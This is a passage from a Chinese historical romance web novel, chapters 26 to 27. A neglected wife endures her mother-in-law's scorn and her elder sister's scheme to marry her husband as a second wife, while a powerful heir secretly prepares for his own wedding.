祝沉檀听完这些话,看着庞氏和云妈妈满意的神色,心里忍不住冷笑。 后些时日,卫如琢忙得不归家,听说上任礼部尚书因为年迈,身子骨有些力不从心了,圣上体恤功臣,特许他能够提前致仕归家,这也意味着,下任礼部尚书的位置即将在四司主当中挑选出来。 近来礼部的事情多,也是因为皇帝要考究四人。 卫如琢忙得热火朝天,几乎脚不沾地,日日歇在官署当中,卫家亲戚族老上门的那一日他勉强腾出空来,过来应对庆贺,虽然有意注意了,可还是被人灌了不少酒水,走路都忍不住晃了。 清醒的时候,卫如琢还端着样子十分谦卑,可酒水一杯杯灌下去,酒意上头,又听多了众人的庆贺之词,他在许多不经意的期间都露出了娟狂之态,甚至有些许大放厥词。 别人问他能不能拿下尚书之位,帮卫家再添荣光,他竟然说什么不过都是手到擒来的事情而已,卫家的亲戚听到这句话,瞬间起哄说他了不得,甚至开始提前恭贺他了,说什么苟富贵勿相忘。 搀扶着他的祝吟鸾听到这句话,忍不住看向起哄声最大的那位亲戚,这可是个嘴碎的,万一说出去了,可了不得。 若是在之前,祝吟鸾定然低声提醒,他一定要谨言慎行,可如今她就算是说了也不讨好,更何况是在卫如琢的兴头之上呢?除此之外,她也有一点点私心,让卫如琢栽些跟头。 如此一来,也算是让他不要那么狂妄。 祝吟鸾知道她这样的念头很不好,毕竟她还是卫家的少夫人,也深知一荣俱荣一损俱损的道理,可她就是忍不住阴暗的心思持续翻涌。 扶着卫如琢走到一半的时候,他的步履越来越沉重缓慢,渐渐的,往她这边靠过来,视线对上她的侧脸。 她没有看卫如琢,可对方却在看着她。 虽然迷蒙醉了,卫如琢却还能够认得出来,眼前的人是谁,是他娶进门多年,怯懦安分的祝吟鸾。 她怎么瘦了那么多?似乎比刚嫁进来的时候还要瘦了? 原本就小的脸,此刻恐怕还没有他的巴掌大,她的鼻梁挺翘,眼睫低垂,卷密的睫羽耷下来,好乖的样子。 似乎是因为他看她的视线实在是过于明显了,搀扶着他的人抬着眼睛看了过来。 眼前女子的瞳仁水润清透,好似一眼就能看到底,正因为靠得太近了,她的眼里倒映着他的样子。 这一瞬间,不知道是不是酒意驱使,看着眼前的姑娘,卫如琢感受到他的心跳得有些快,竟然无法挪开视线。 这还是怯懦空有美貌的祝吟鸾吗?她好吸引人。 他刚想要伸手碰碰她的侧脸,她漂亮的眼睛。 身后忽而传来一声叫喊,卫如琢不得不循声看去。 人还没看到,一股浓郁的脂粉香气卷到面前,打散了那股子淡淡的药香,他忍不住皱眉,实在难受便闭上了眼睛。 祝吟鸾退后了半步,原来是祝沉檀。 “长姐。”她叫了一声。 “妹妹,前面还有客人,你作为少夫人不好离席,免得叫人抓了把柄,说卫家待客不周,这边我来帮你吧,你先去正厅盯着。” 她扶着卫如琢,完全不顾及什么男女有别,身份地位不同。 祝吟鸾许久没说话,她定定看着祝沉檀。 良久之后还是开了口,轻言细语,话却蕴含犀利,“长姐觉得你的所作所为合乎时宜规矩吗?” 祝沉檀闻言,忍不住诧异,她回望着眼前的庶出妹妹。 眼前的人看起来身量娇弱,声音也很柔和,但就是这股子柔里,竟让人感受到了倔强的韧劲儿。 这是祝沉檀的第一感觉。 很快,她剩下的情绪便都是恼怒了。 祝吟鸾算个什么东西,竟然敢跟她叫板了?别以为卫如琢攀升,她也随之水涨船高?竟敢跟她顶嘴? “妹妹是在埋怨姐姐吗?”祝沉檀笑里藏刀,目露胁迫。 祝吟鸾却不卑不亢,她微微摇头,“自然不是,只不过觉得姐姐和夫君身份有别,长姐贵为家中嫡女,如今又是清白之身,还是要注意一些为好,免得坏了姐姐的名声。” “今日卫家客人多眼杂,难免被人看到,到处乱说。” 即便是靠的距离很近,卫如琢也没听到两人说些什么。 只依稀看到两人的嘴巴在动,声音含含糊糊。 祝沉檀没想到祝吟鸾竟然真的会对着她说这些。 虽然祝吟鸾的话让人不喜,但不得不说,的确很在理。 祝沉檀没说话,也没理她,打算让身边的丫鬟先送了卫如琢回去,可谁知道方种月竟然过来了。 祝吟鸾叫她送卫如琢回东院,她去前厅陪亲戚客人说话。 没想到半路杀出个程咬金,祝沉檀也不好在这个关头撕破脸。 她咬牙切齿把卫如琢交了出去。 方种月带着人走后,一瞬间,这里就剩下祝吟鸾和她。 相寂无言,对视良久。 祝沉檀呵笑了一声,没想到一向逆来顺受的庶妹竟然敢迎视她的目光了。 祝沉檀不知道祝吟鸾心里在想些什么,只当她是仗着卫如琢的势力,跟她摆架子充老大。 思及此,祝沉檀唇边挂着冷笑,趾高气昂一步步靠近祝吟鸾。 越来越近,随后凑到她的耳边,“妹妹莫不是以为自己就真的是卫家少夫人了?” 她抬手把玩着祝吟鸾的耳铛,抚摸着她发鬓上的珠钗首饰,“若不是我让你,你能有今日?” 祝吟鸾看着她的长姐,这应当算是她第一次跟她撕破脸。 “我能让给你,也能随时收回来,因为这本来就是属于我的东西,明白吗?” 言罢,她冷哼一声,推了祝吟鸾一下,旋即往内院走了。 “小姐……”明芽扶住祝吟鸾,帮她瞪着祝沉檀的背影。 “没事。”她摆了摆手往外走。 “……” 当日夜晚的沈家,听完了手底下人汇报的沈景湛,喟叹一声。 他扯唇淡笑,往后靠回椅背,“…该收网了。” “是。”下属点头。 门扉被叩响,是侯夫人身边的小丫鬟,请沈景湛过去一趟,没说因为什么事。 但沈景湛差不离猜到了。 事实的确如此,匍一坐下,沈夫人就叫着他的表字打听问, “你祖母说你要成亲了,到底是哪家的姑娘啊?”【你现在阅读的是 】 26、第26章 沈景湛抬眼看过来,他没说话,神色也如常,却看得沈夫人有些许莫名其妙的心慌和尴尬。 对于她这位出色的嫡长子,沈夫人是有些许惧怕的,尽管是自己身上掉下来的肉,可他清冷话少,不似旁人那般与她亲近。 主要还因为多年前的那桩事情,沈夫人带着幼年的沈景湛出门礼佛,没有安排好护卫,导致年幼的他被人下药.拐.带。 落在贼人手里遭受非人折磨了一段时日,被救回来的时候人都有些许阴郁了。 那段时日他的手里一直攥着一个物件,也不知是什么,总维持良久的寡言沉默。 高门世家之间的门阀斗争从未停歇,沈景湛如此出色,自然备受瞩目,正所谓枪打出头鸟,沈侯爷也嘱咐过沈夫人往日要小心注意,这都是怪她一时松懈,因此她觉得愧疚亏欠。 可就算是沈夫人再注意小心,沈景湛在几年后的科考之前还是遇到了谋害。 他了无踪迹,这一次沈家的人几乎以为他死了,毕竟请示圣上出动了御林军还是查不到仇家以及谋害他的人。 没想到在科考前夕,他出现在了京城,一问,竟然是被人送去了西域? 心疼他命途多舛,让他好生休息,不必参加这次科考,可他执意要去。 没想到这次科考,他一举高中,名声大噪,进入官场,被提拔在御前。 伴君如伴虎,御前哪里好混的?可不管遇到多少棘手的事情都被他一一扫平,一年而已,举朝上下谁都知道圣上跟前的冷面玉郎,那威名已经压过他父亲了。 鉴于此,沈夫人都不敢管他,家里的人也惧他,就沈老太太敢说一二。 他的亲事一拖再拖,沈侯爷施压,沈夫人犯愁得厉害,但还是不敢逼着他娶亲。 前儿二房的妯娌来找沈夫人,说朝廷边境的县官空缺,圣上点了沈家子弟,沈嘉显被外派了。 这看似体恤的封官,旁人求都求不来,可对于高门子弟而言,简直是流放。 那外派的地方风沙席卷,是个鸟不拉屎的苦地儿,二房来求着沈夫人,想找沈景湛磨个人情,帮忙说说好话。 可沈夫人找不到沈景湛,昨日去给老太太请安,不知怎么的,竟然听说他要娶亲了? 沈夫人大受震惊,一头雾水。 今日等了许久,还想着去哪里找他,谁知他竟回了家。 “母亲并非质问你,只是担心……”她笑着跟沈景湛解释若是成亲,定然要备办许许多多的物件东西,还要挑选良辰吉日。 说完了,沈夫人又觉得自己个讲得不好,这些东西,沈景湛怎么会不知道呢?他就算没成亲,见也见多了。 于是,沈夫人转了一个弯,“这些繁文缛节都不能少,细节上更要注意,母亲是怕你一个人操持忙不过来,亦或者男儿家思虑不到女人的心思,叫女方委屈,觉得沈家轻慢了。” 既然沈景湛看重那个不知名的成亲对象,就从对方下手好了。 尽管这个人有可能不存在,毕竟沈老太太说,他就撂了一句话,没点名是谁,八成是骗人的。 可沈夫人却觉得“或有其人”,沈景湛有说过谎吗? 没有,他只会说一不二。 眼前男人听罢,端起茶盏,慢吞吞呷了一口,姿态一派漫不经心。 沈夫人看着他,等着他的回答。 好一会,他答非所问,“除此之外,祖母还跟母亲说了些什么?” 竟然没有把他给绕进去,意料之外又感觉意料之中,沈夫人讪笑,“倒也没说什么,只道了一句你最迟来年春末要成亲。” “来年春末,这……这都年关了啊。” “三个月能准备齐全吗?” “母亲放心。”他笑,“儿子已经准备好了。” “啊?”沈夫人震惊,“你准备好了?”她怎么一点风声都没听见,也没见什么动静。 沈景湛轻放下茶盏,修长的指骨轻点着茶盏边沿,“嗯,早就准备好了。” 在几年以前,不知过眼多少遍,那嫁衣还是他亲手绣的,这些自然不能说。 “那……”沈夫人还想绕弯子,又怕拐弯抹角问多了,他心烦不悦。 只能退一步直言问道,“可有什么需要母亲帮忙的?” 没想能够在沈景湛嘴里套到什么话,这句问语很有可能被他直接给打过来。 没想到他认真思忖片刻,竟开口了。 “家里一切母亲看着摆弄吧,都要换新的,换好的。” 沈夫人很兴奋,“还有呢?” “除此之外,若是母亲方便,可为她添份嫁妆。” “方便方便,怎么不方便!”好不容易等到他的商榷之语,沈夫人忙不迭应声点头。 沈景湛起身,给她做了一个端端正正的揖礼,“如此,便劳烦母亲了,这件事情暂时还需保密,母亲……” 沈景湛话没说完,沈夫人点头说她明白,绝不外传,以免引起不必要的慌乱和风声,吓到对方。 “儿子恭谢您。”他越发弯下腰。 措不及防受了他一个大礼,沈夫人都不免端正坐直了身子。 越发想要知道,是哪家的姑娘了。 可绞尽脑汁,猜不出来。 “……” 沈家这边筹办亲事,卫家却愁云萦绕。 那场升官宴,因为卫如琢酒后口无遮拦,还是惹事了。 礼部尚书也不知道从哪里听到了风声,叫了他去,劈头盖脸就是一个好大的训斥,明里暗里讥讽他年轻沉不住气,就算有野心也应该掂量掂量自己。 卫如琢被打了脸,十分尴尬,这都不是最紧要的,紧要的是他被停职了。 哪有人刚上任就被停职,这可真是撞枪口了。 这升降起落还真是快啊。 前几日还人人恭维,现如今已是人人退避三舍,甚至冷言冷语。 卫如琢回了卫家躲避,庞氏被吓病了,她心里有气,斥骂祝吟鸾非要.操.办升官宴,这才惹出祸事,还责备他不管卫如琢,也不提醒着! 可她全然忘记了,升官宴是她主张吩咐她去办的,也是她让祝吟鸾处处顺着卫如琢,不准顶撞。 如今出了事情,又全成祝吟鸾的不是了。 卫家快要乱成一锅粥了。 庞氏的责骂声不断在内室响起,卫如琢听得头疼,呵了一声,庞氏才勉强停下来,瞪了一旁沉默的祝吟鸾一眼。 “母亲,您就消停会吧。”卫如琢双手抱头,眉宇紧皱。 庞氏抽噎,“这可怎么办啊,琢哥儿?” “你父亲还没回来,只怕是帮不上你什么,京城当中可有借力的人吗?你往日那些同僚……” 卫家的旁亲这些年都盘踞在下势,谁的官位都没有卫如琢高。 他如今得罪了尚书,只怕礼部司郎的位置都要保不住了,谁还敢帮他?再者说卫如琢父亲当初就是得罪上司被外放,至今都没有调回来,有这个前车之鉴,谁敢贸然出手帮忙? 再说句难听的话,人心隔肚皮,亲戚族里最好都过得差不多,如今你腾飞了又狂妄,掉下来了多少人在心里偷着乐了,这话不就是卫家人传出去的吗? 卫如琢摇头,“……没有。”他已经找过了,都说不是不想帮,而是没有大力气,谁敢去蹙尚书的眉头? 再往上的官位,压在尚书那地方的,可就没有了。 庞氏看向祝吟鸾,撒气吼,“你就不能想想办法吗!只在这里.干.坐着!?” 祝吟鸾帮她搅和着碗里的汤药,“媳妇已经给家里传信了。” “你长姐都回去叫人帮忙了,就你只是写信!不清楚事态紧急?” 祝吟鸾没说话,长姐哪里是去搬救兵,分明是逃走、她也害怕卫家寥落,自己惹上麻烦,听到风声的时候,跑得比谁都快,就这样庞氏都说她好。 祝吟鸾思及此,想笑。 “帮不上忙就算了,还拖后腿!”庞氏又骂了她两句。 卫如琢皱眉,云妈妈都忍不住心疼祝吟鸾,但庞氏在气头上,云妈妈也不敢说什么。 “我已经给小妹传信了,她二人说了会帮着我找妹夫看看,能不能搭上线去给尚书大人赔赔礼。” 卫明烟得到消息很快就帮忙了,只是光禄寺那边恐怕也有心无力,毕竟官职压不过六部。 “唉……”庞氏又哭。 这个年关是近几年,卫家最冷清的一个新岁了。 亲戚旁支们都不上门了,皆推脱家中有事,只送了一些普通的贺礼来。 期间,祝沉檀倒是来得勤快,哄着庞氏,还宽慰卫如琢,说一定会好起来。 见状,祝吟鸾猜测,卫如琢口无遮拦被责骂的事情,还是有所转折的,否则,他一定会成为长姐的弃子。 所以,祝吟鸾不怎么慌怕受到牵连,何况她慌也没用,她的确没法子。 她越是沉得住气,庞氏看她越不顺眼,一天能骂祝吟鸾三回。 新岁的卫家十分萧条,几乎没有张灯结彩,气氛沉闷,要说什么出彩,便是祝吟鸾守夜的那一晚,见到了一场漂亮璀璨的烟火盛宴。 那时候她正帮庞氏盯着药,听到外面响,刚抬头,姣惠和明芽就跑进来了,说让她快出去看,两人拉着她出去。 祝吟鸾从来没有见到这么夺目的烟火,各种颜色,一齐往天上升了炸开,几乎将整个京城都映得亮如白昼,一时之间,她仰头看得失神,心下宽泛。 姣惠看着她的侧脸,不经意道, “听闻是沈世子为贺新岁,哄家里人愉悦,特地置办来放的呢。” 恍惚之间听到沈世子三个字,祝吟鸾转头看过去,没说什么。 “……” 过了年,时至二月,卫如琢还在停职,该走的门路都走了,如今全都靠着祝家帮忙, 卫如琢头一次感受到跌宕的吃瘪,人都有些许丧颓。 他跟在祝大人和祝鸣生身后往尚书府出来,先回了祝家。 祝沉檀上前问,“哥哥,父亲,怎么样了?” “尚书大人没露面。”祝鸣生道。 朱夫人一时没说话,祝沉檀着急,“难不成?……” 她压的牌又不行了? “放心吧,尚书大人虽然没有露面,到底没有将我们拒之门外,且等等吧。”祝大人道。 有这么一句,到底宽泛了。 用膳期间,卫如琢端酒答谢祝大人和祝鸣生帮他出力,说日后定然结草衔环。 见状,朱夫人给祝大人递了一个眼色。 祝大人笑道,“如琢啊,卫家开罪尚书,众人回避,我们祝家不离不弃帮着卫家的缘由,你应当清楚。” 卫如琢微顿,他看向祝沉檀,对方抿唇没说话,脸色有些许腼腆和害羞,如此神态,却莫名让卫如琢想到家里的另外一个人。 有一瞬间的静默,卫如琢将思绪抛诸脑后,端起酒水一饮而尽。 “小婿都明白,待此间事了,我会迎沉檀进门。”【你现在阅读的是 】 27-30 第27章 第27章“既然如此,那便和离吧。”…… 喝完酒水,搁下盏子之时,卫如琢方才回味到他的走神。 等等,他方才走什么神?竟然想到了祝吟鸾。 他在愧疚还是心虚,总之有一瞬间的迟钝,仿佛害怕祝吟鸾生气似的。 祝吟鸾怎么可能会生气?思及此,他自己都觉得荒谬可笑。 逆来顺受又贤良怯懦的她,一定会接受这个结果,更何况,祝沉檀还是她的长姐,若是论及先来后到,早应当进入卫家门的人本就应该是祝沉檀,祝吟鸾只是捡了一个漏。 如此想着,卫如琢心里一瞬间顺畅了,即便还是有些莫名的闷燥,这种情绪太过陌生,可他并没有放在心上。 朱夫人招呼着他多多吃菜,祝鸣生又给他倒了一盏酒。 “……” 卫如琢这些时日一直歇在祝家,因为有祝吟鸾做挡箭牌,外头的人只觉得他是女婿往返老丈人家,求着祝家帮忙,因此并不奇怪。 可这其中的斗争,只有当事人最清楚。 祝吟鸾看着眼前祝沉檀身边婆子送来的,卫如琢的衣衫鞋履…… 里面竟然还藏着长姐的帕子,衣衫之上的脂粉香气,也是归拢长姐所有。 所以,长姐这是朝她示威来了吗? “小姐,您……要不然把姑爷给叫回来吧?” 说完这句话,明芽自己也觉得不现实,毕竟祝沉檀根本没办法左右卫如琢的思绪,更何况,卫如琢去祝家是为了公事。 若是祝吟鸾真的把卫如琢给叫回来了,庞氏一定会训斥收拾她。 “或者……小姐,您也去祝家住几日吧?” 姣惠也赞同祝吟鸾的提议。 因为大人说了,姑娘是个倔强性子,有些事情,她必须看得透彻,完全失望了,才肯清醒抽身。 若是去了祝家,可想而知是什么样的光景。 姑娘越是对她的夫婿失意,大人才有机会,她蛰伏这么多年的任务也就完成了。 可祝吟鸾不去,她把祝沉檀的帕子给抽出来,让小丫鬟拿了卫如琢的衣衫去浆洗,说清洗干净以后,好生熏一熏。 庞氏自然不会理会这些小事,祝沉檀却越发蹬鼻子上脸,一开始,还只是手帕簪花之类的,后面变成了首饰脂粉,这一日,竟然就变成了她的罗袜和小衣。 “小姐!”明芽说她不能再忍气吞声了,“您把这些东西送给夫人大人看看,叫她好生管教一下大小姐,怎么如此不知检.点?惦记自己的妹夫。” 祝吟鸾看着鹅黄色的小衣,上面还刺了鸳鸯戏水,令人看了只觉得无比讥讽的样式…… “小姐,您怎么不说话?”明芽以为她气得太狠,气过头了。 “没事……”祝吟鸾缓了许久,“不必去说。” 她的声音低迷,只是觉得,她之前察觉到的风声很有可能要来了吧? 真的会吗? 她不知道,她感觉现在的自己就像是在风中盘踞飘荡的人。 当日夜里,轮到姣惠守夜,祝吟鸾掀开幔帐,叫她过来。 轻声吩咐她,“你这些时日清算一下我在卫家的嫁妆,折备一些现银……在外面置一处宅子吧,宅子不用太大,能住就好,重要的是离卫家远一些。” 不管她胡思乱想的那些会不会来临,做人做事总要防患于未然,才不至于落到毫无准备,毫无退路的境地。 若是卷着她的风骤然停了,亦或者狂风骤雨加大力气不停歇,她很有可能会被甩得粉身碎骨。 姣惠虽然很意外,倒是没有过问。 祝吟鸾吩咐了什么,她点头就要去做什么。 “一切做得隐蔽些,不要让人发现了。” “奴婢知道。”姣惠点头。 祝吟鸾之所以交给她,除了她不会过问,也因为自己信得过她,更重要的是,姣惠走街串巷,肯定很清楚这些门路,也有人能够利用。 为了方便她周转,祝吟鸾给了她一些银钱。 幸而她这些年没什么大花销,时常节省,手上的铺子周转以后,也有了一笔不菲的私房,这些钱,卫家的人都不清楚。 自幼不受宠,她很清楚女子讨生活艰难,若是再没有银钱,真不知道会变成什么样子,不论何时,手上总要攥着一些银钱,才会有底气。 原以为她自己会睡不着,没想到竟还是睡了过去,或许是吩咐了姣惠去偷偷办了这件事情。 翌日,卫如琢归家了。 没有提前派人通传,而是直接回来了。 祝吟鸾老远便窥见了他眉梢的喜色,料想开罪尚书大人的棘手事情约莫多半是解决了。 果然不出她所料,庞氏前来迎接,卫如琢已经迫不及待告诉她,说昨日尚书大人给他下了帖子接见他。 双方给了台阶下,对方还说了很多话,总之不仅冰释前嫌了,他甚至入了尚书大人的青眼,关系更亲近了一些。 庞氏喜极而泣,一直哎声说好,又对着虚空处双手合十拜了拜,说卫家祖宗显灵,总算是平安渡过此次劫难了。 祝吟鸾在旁边也笑着说恭喜夫君。 卫如琢看着她,这些时日没回来,他已经许久没有见到祝吟鸾了。 她怎么还是这么清瘦,身上的病还没好? 察觉到自家儿子在看着祝沉檀,庞氏没个好脸色,“堵在这里做什么?琢哥儿好不容易回来,又解决了这件事情,你还不快些去备办热水让他沐浴净身,再叫人做好酒菜,给他去去晦气?” 按照以往,卫如琢定 然不会留下来吃。 看着他今儿也是行色匆匆的样子。 祝吟鸾没反驳,顺着庞氏的话说去准备,令她意外的是,卫如琢留下来用膳了。 过去膳房的路上,祝吟鸾的心里总觉得有些许不安。 这件事情已经算是解决了,可她也说不上来究竟是为何。 总感觉还会有旁的,更大的事情发生。 祝吟鸾惴惴不安的心绪在用膳的时候得到验证。 因为用膳的期间,庞氏一直追问这件事情的细则,卫如琢看了祝吟鸾一眼,对庞氏说,“祝家出了很大力气为儿子在其中斡旋往来。” 庞氏察觉到他投过来的目光,接了他的话,“都是因为沉檀吧?” 这句话相当于直接否了祝吟鸾的所有,即便她姓祝,也是祝大人的女儿,是他明媒正娶的妻子,也帮他做了很多事情,譬如在这些时日照顾庞氏,操持家里,可没人留神她的付出。 最主要的是祝吟鸾隐隐约约听出了言外之意,很隐蔽攥紧了银筷,没叫对面的人捕捉到她的情绪。 “嗯……” 看着祝吟鸾没什么反应,卫如琢也说不上来他心里是什么样的滋味。 他应该欣喜的,看啊,事情的发展如同他所想那般,祝吟鸾逆来顺受,默不作声。 是不是她还没有听清楚,毕竟祝吟鸾有些许愚笨,他今日回来除却传信,主要也是趁热打铁要说这件事情,她也应该清楚祝家帮了他什么,这是他该还的。 按理说该开口了,可他看着祝吟鸾瘦弱苍白的小脸,慢吞吞的用膳动作,她有在吃吗? 腮帮子在动,她碗里却没有多少菜,眼前的菜式基本没有怎么动。 她这些时日也为他担忧了吧,人又瘦了,祝吟鸾是爱他,在意他的,他能够感受到。 思及此,他又宽慰放松不少,祝吟鸾既然在意爱慕他,那就会一直留在他的身边,就算不提这份爱,除此之外,她在京城有立足之地吗? 可他还是没开口。 算了,再过些时日,等祝家的人上门了,一起说就是了,这样才算郑重其事,届时她也不会拒绝。 这个念头出来,卫如琢自己都吓了一跳。 拒绝? 祝吟鸾怎么可能拒绝?他这些时日真是忙晕头了,竟然觉得祝吟鸾会不让他娶平妻?换句话说,祝吟鸾不让又能改变什么? 她会闹? 思及此,卫如琢还挺期待的,他从未见过祝吟鸾闹,之前有想过,但她没有。 这些时日庞氏叫人密切注意着祝家那边,自然听到了风声,当下也明白卫如琢要说什么。 没想到,卫如琢起来那么一个话茬头却也没有开口。 他到底要不要说?庞氏问他了,“你是不是还有什么话没说完?” 卫如琢却答非所问,看着祝吟鸾,“沐春节,岳父岳母要过来家中用膳,你好生备办席面。” “嗯。”祝吟鸾总算说话了。 听到她气若游丝的应声,再也没有后话了。 卫如琢视线没收回来,问了一句,“你身子骨还没好吗?” 罕见的关怀,祝吟鸾还没回他,庞氏却冷哼一声,“她这身子骨多半是废了,也不知吃了多少药,废了家里多少银钱。” 祝吟鸾哑然,她哪里就花了卫家的私房?分明都是她自己个的银钱,反而是卫家花了她的银钱。 说了也不会有人相信,所以她不打算开口。 庞氏这会子已经不仅仅是看祝吟鸾不顺眼,而是觉得她不祥。 因为卫如琢先前都还顺利,骤然遇到这桩事情,也是走投无路了,她听从交好官眷夫人的提议,去找道士算了一下。 对方竟然说是祝吟鸾命格流转,晦气腾升,所以她身体越来越弱,还带着一道牵连了身边人。 敢情都是因为祝吟鸾啊! 也是,越想越可能,家里的宴会都是她操.办的,若不是她,也不会出这么多事情。 这件事情,庞氏想要跟卫如琢说,又怕乱了他的心思,毕竟因为得罪了礼部尚书,他已经足够焦头烂额了,若讲这些东西,她指不定还会恼羞成怒。 所以,庞氏留在今日才说。 祝吟鸾看着丫鬟婆子们收拾碗盏,没有过来。 卫如琢听到这句话,忍不住皱眉,“刚成亲的时候母亲不是找人合过八字了吗?” 犹记得,那道人说祝吟鸾的命格顶好,是个极有福之人,还说什么,凤星占楼,贵不可言。 听得庞氏很高兴,即便是不满意祝吟鸾的出身,为她的福运八字也都畅顺不少。 只是庞氏还要再追着问,祝吟鸾与卫如琢是否合运衬情,那道人掐了指,却神色古怪,看着两人欲言又止,最后只说天机不可泄露,任由庞氏给了多少钱都不说了。 庞氏以为他编不出来了,可没想到祝吟鸾嫁进来后,卫家倒是真的渐渐兴旺了,刚成亲的那几日,家中似乎还融洽的。 他也经常会见到祝吟鸾嬉笑,她笑起来略显腼腆,却也柔美,仿佛夜里盛开的昙花,少见的夺目,如今也不知怎么的,他恍惚记不清多久没见她笑了。 “生辰八字还能更改吗?”卫如琢皱眉喃喃。 “怎么不能?”庞氏很是相信这次找的道士,夸耀对方无比灵验。 说他算无遗漏,不少官眷贵妇都找他批过命,“高门沈家也批过。” “还有人说……”庞氏压低声音。 “当年沈世子尚在娘胎就被定了承袭爵位,就是因为这道人算过他的命格。” “母亲是不是记错了?”卫如琢疑问,“这句话不是上一个道士说的吗?” “这个道士说他二人曾是师兄弟,那人是从他这里听去的。” 真真假假,谁说的才是真的?卫如琢不信道士批命,只是哂笑了笑。 “他讲那人胡说八道,指不定是收了谁的银钱,才那样说祝吟鸾命好。” 还能是谁?庞氏怀疑是祝吟鸾自己。 “纸终究包不住火,如今才是真的拨云见日。” “母亲跟儿子说这些,是要做什么?”庞氏给他拿了一个护身符,说是驱邪赶祟,让他随身佩戴着。 转而又问,“今儿你提起祝家,还说沐春节,怎么不跟祝吟鸾说清楚?” “现在还不到时候,儿子做事自有思量,母亲别担心了。” 庞氏撇了撇嘴,刚要再讲几句祝吟鸾的不是,却被卫如琢随从拿进来的箱笼吸引了注意力,“这是什么?” “对了,这是沉檀给母亲送的绸缎绫罗……” 母子两人热闹说着话。 祝吟鸾这边倒是安静,她盯着膳房收拾了一会,再转去账房检查今日的采买花销,明芽凑到她的耳边,趁着没人跟她嘀咕,说庞氏离开之前瞪了她一眼,指不定会跟卫如琢说些什么,叫她跟过去看看。 祝吟鸾只是摇头,看到一处账目的数额,她皱眉,往前翻了翻,回忆今日在膳房看到的菜食,让明芽去清点一下。 明芽很担心庞氏和卫如琢那边,起初还不想动,可祝吟鸾让她去,她只得去了。 采买的数额不对,但负责膳房的蒋婆子一向耐心踏实,祝吟鸾没有声张。 她合上账目,从账房出去了。 约莫到了下午时分,卫如琢已经离家,庞氏在午憩,祝吟鸾才让人把蒋婆子给叫来。 人喊过来以后,她还没有开始问,对方已经陈情说她不该以权谋私,篡改账目拿银钱。 实在是因为迫不得已,她女儿要嫁人了,家中相公又生了病,入不敷出,为了给女儿陪衬些嫁妆,她还在外面找了一些私活,夜里去酒楼帮人打下手,可到底赚不了多少。 她还说等女儿嫁出去,就把银钱给补上。 本来不想这么做,但家里补贴给她女儿的 嫁妆箱笼不够,怕她嫁过去了,婆家的人轻视欺负她。 因此不得不剑走偏锋。 蒋婆子也没想到,这些时日祝吟鸾病着,不到查账的日子,她竟然还能够抽空去账房,甚至一眼就看出来了她做的伪账,这一日蒋婆子都很忐忑。 说完之后,她又给祝吟鸾磕了几个响头,求她若是不能留情,也让她体面地走。 不要让庞氏和卫家其她人发现,因为卫家的人传扬出去,自己臭也就臭了,一定会带累她女儿的名声,更主要的是,没办法去别家大户里做活了,断了生计,就没银钱过日子。 听罢,祝吟鸾看了她一会,蒋婆子是她嫁进卫家前一年到卫家来的。 那时候她精气神还好,如今却已经熬得有了白发,面容也憔悴,双手有了一层厚厚的剥茧,身形也有些佝偻。 想起她方才说经常扮成男人的样子去码头帮人扛货,祝吟鸾更是于心不忍,她长叹一口气,“…日后不要这么做了。” “你亏空的账目我会帮你补上,另外我会给你女儿出一份嫁妆,不多,但应该足够补贴的,除此之外,你也好生歇歇吧,瞧你…累成什么样子了?” “不能只顾着女儿丈夫,就不管自己的死活啊。”她本来不想说的。 蒋婆子先头还好,祝吟鸾放了她一马,还愿意帮她补贴,甚至关心她……她本来是喜极而泣,后面被祝吟鸾的那句话弄得真正鼻酸眼烫,哭了起来。 祝吟鸾起身拍了拍她的背,叫她别哭了,被人看见不成样子。 主要是担心传到庞氏耳朵里,叫人盘查。 这些时日庞氏一直叫人盯着她,祝吟鸾也害怕起争端。 “多谢少夫人,您果真是在世活菩萨,奴婢一定会记住您今日的恩情,做骡子做马报答您,日日拜佛保佑您长命百岁,举世无忧。” 祝吟鸾笑了一下,“好。” “……” 想来是停雨阁派过来的人还是将这件事情透了信给庞氏。 蒋婆子被人叫过去盘查。 但因为祝吟鸾做事隐蔽,庞氏也没有揪到问题。 觉得有猫腻的她,只能摆着脸训了祝吟鸾几句,没敲打出问题,便也将这件事情掀过了。 时日过得很快,卫如琢打通尚书府门路之后,又开始忙碌了,见他得了看重,身边的人又开始恭维起他,一口一个卫大人,前途无量啊。 多半是因为先前的事情,卫如琢做事情警惕了不少,面对众人的恭维,受用却也谦逊。 他忙得脚不沾地,回家的时日很少。 反而是祝沉檀时常过来卫家,不清楚家里是怎么瞒的,骆暄和她的事情倒也没闹出太大的动静,就是有人隐隐猜测,乱嚼嚼舌根。 也主要是因为祝、卫、骆三家在京城也不算是真正的高门,众人更感兴趣的,还是世家名门的家事。 听人说,沈家的人又在为沈世子相看了,时常给高门的姑娘们下帖子,众位贵女铆足劲够着沈家,讨好侯夫人和沈老太太,希望能够入她们的眼睛,鱼跃龙门,扶摇直上。 祝吟鸾听到这些消息,没什么反应。 只想到,去年一直遇到沈景湛,今年倒没碰着了。 如此才是正常的,她和沈景湛本就是两个世界的人,且不说京城尊卑阶层分明,就说她已婚,他未娶,这就不好时常碰面说话,只是那龙涎香一直搁着,没办法还给他。 转眼竟然就到了逢春三月的沐春节。 今日晨起,祝吟鸾莫名觉得眼跳晃神,她也不知道自己是怎么了? 总感觉有事情要发生。 莫不是…… 这些时日过得平稳,上次的事情她几乎都要忘记了。 “……” 卫如琢不回来,她有几日没吃那伪装的药了,但脸色依然苍白,看着不太好。 庞氏老早就让人盯着膳房做饭,祝吟鸾梳洗过后,也过去走了一趟。 卫如琢比祝家人回来得早,他沐浴净身换了新衣。 祝吟鸾看着他走过来,瞧着他意气风发的神态,往旁边的铜镜看了一眼自己。 上了一些脂粉,依然难掩“病态”。 她和卫如琢站在一起,连她自己都觉得不登对了。 卫如琢亲自去门口迎接祝大人和祝夫人,祝沉檀也来了。 她今日打扮得十分俏丽,祝吟鸾站在廊下看着她和卫如琢一道过来正厅的时候,都觉得是一对天造地设的璧人。 她又想到了没出嫁之前,看到的,卫如琢和她并立而行的身影。 祝吟鸾压下心中的酸涩,心头一阵茫然,“……” 今日不止是她娘家的人过来,就连小姑也回了门。 卫明烟即将临盆,不能走动,来的小姑是与她不对付的卫清丝。 这一顿早膳还没有开始,祝吟鸾已经感觉到了深深的不适。 因为没有人同她说话,尽管她是这个家的少夫人。 可没有人搭理她,庞氏总指挥着她叫人上菜,完全把她当下人用。 